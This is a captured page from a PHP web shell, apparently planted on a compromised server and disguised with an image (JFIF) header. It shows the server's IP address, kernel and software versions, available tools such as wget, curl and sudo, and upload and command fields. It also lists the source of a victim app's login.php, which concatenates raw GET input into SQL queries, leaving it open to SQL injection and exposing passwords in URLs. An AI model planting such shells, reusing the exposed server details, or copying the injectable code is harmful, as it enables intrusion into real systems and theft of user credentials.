????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.217.84
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/apps/school/OLD/PokemonGo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/appsrv.astacus.se/apps/school/OLD/PokemonGo/login.php
<?php
    
    if($_SERVER['REQUEST_METHOD']=='GET')
    {
        require_once('connection.php');
        
        $Email = $_GET['Email'];
        $Password = $_GET['Password'];
        $DeviceToken = $_GET['DeviceToken'];
                
		//echo "<br>Email: $Email";
		//echo "<br>Password: $Password";
		//echo "<br>DeviceToken: $DeviceToken";
        
        $sqlSelect = "SELECT COUNT(*) AS CountEmails, DeviceToken from tblUsers WHERE Email=$Email AND Password=$Password";
        
        $numberOfUsers = mysql_query($sqlSelect);
        
        $rows = mysql_fetch_assoc($numberOfUsers);
        
        $count = $rows['CountEmails'];
		//echo "<br>count: $count";
		
        $deviceTokenExisting = $rows['DeviceToken'];
        //echo "<br>deviceToken existing: $deviceTokenExisting";
        
        if ($count == 1)
        {
			$ArrayDeviceTokens = explode(',', $deviceTokenExisting);
            
            if (in_array($DeviceToken, $ArrayDeviceTokens) == false)
            {
                //echo "<br> device token does not exist";
                
                $suffix = ($deviceTokenExisting == "") ? $DeviceToken : ','.$DeviceToken;
				$replacedSuffix = str_replace("'", "", $suffix);                
                $deviceTokenExisting = $deviceTokenExisting .$replacedSuffix;
                
                //echo "<br>suffix: $suffix";
            }
            
            //echo "<br>deviceToken New: $deviceTokenExisting";
            
            $sqlUpdate = "UPDATE tblUsers SET IsLoggedIn='1', DeviceToken='$deviceTokenExisting' WHERE Email=$Email AND Password=$Password";
            
            $result = mysql_query($sqlUpdate);
            
            if ($result)
            {
                $sqlGetRowData = "SELECT * from tblUsers WHERE Email=$Email AND Password=$Password";
                
                $resultGetRowData = mysql_query($sqlGetRowData);
                
                if ($resultGetRowData > 0)
                {
                    $row = mysql_fetch_assoc($resultGetRowData);
                    
					//echo "<br>done";
                    echo json_encode(array($row));
                }
                else
                {
                    echo "0 results";
                }
            }
            else
            {
                //echo "<br>";
                echo "Invalid credentials!";
            }
        }
        else
        {
            echo "Invalid credentials!";
        }
        
        mysql_close($connection);
    }
?>

Youez - 2016 - github.com/yon3zu
LinuXploit